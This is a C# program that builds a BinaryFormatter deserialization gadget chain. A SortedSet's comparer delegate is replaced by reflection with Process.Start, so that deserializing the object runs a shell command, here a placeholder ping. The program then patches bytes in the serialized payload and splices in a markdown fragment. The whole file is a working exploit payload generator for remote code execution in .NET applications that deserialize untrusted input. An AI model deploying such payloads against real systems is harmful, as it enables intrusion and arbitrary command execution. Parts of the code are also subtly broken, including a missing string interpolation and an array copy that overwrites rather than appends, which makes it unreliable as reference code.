using System;

using System.Collections.Generic;

using System.Diagnostics;

using System.IO;

using System.Reflection;

using System.Runtime.Serialization.Formatters.Binary;

using System.Text;

public class Program

{

    public static void Main()

    {

        var command = "ping 10.10.10.10";

        // (1)

        var singleDelegate = new Comparison<string>(String.Compare);

        var multiDelegate = singleDelegate + singleDelegate;

        var comparer = Comparer<string>.Create(multiDelegate);

        var gadget = new SortedSet<string>(comparer) {"cmd", "/c {command}"};

        var invocationList = multiDelegate.GetInvocationList();

        invocationList[1] = new Func<string, string, Process>(Process.Start);

        var field = typeof(MulticastDelegate).GetField("_invocationList",

              BindingFlags.NonPublic | BindingFlags.Instance);

        field.SetValue(multiDelegate, invocationList);

        // (2)

        var binaryFormatter = new BinaryFormatter();

        var stream = new MemoryStream();

        binaryFormatter.Serialize(stream, gadget);

        stream.Position = 0;

        var binaryPayload = stream.ToArray();

        //(2.1)

        var count = 0;

        for(int i = 0; i < binaryPayload.Length - 4; ++i)

        {

            if (binaryPayload[i] == 0x01 &&

                binaryPayload[i + 1] == 0x00 &&

                binaryPayload[i + 2] == 0x00 &&

                binaryPayload[i + 3] == 0x00)

            {

                count++;

                if (count == 1 || count == 3)

                {

                    binaryPayload[i] = 0x00;

                    binaryPayload[i + 1] = 0xFE;

                    binaryPayload[i + 2] = 0xFF;

                }

                if (count >= 3)

                    break;

            }

        }

        // (3)

        var markdownPayload = Encoding.UTF8.GetBytes("\n```**Header**\t");

        var result = new byte[binaryPayload.Length + markdownPayload.Length];

        Array.Copy(binaryPayload, result, binaryPayload.Length);

        Array.Copy(markdownPayload, result, markdownPayload.Length);

        Console.WriteLine(result);

    }

}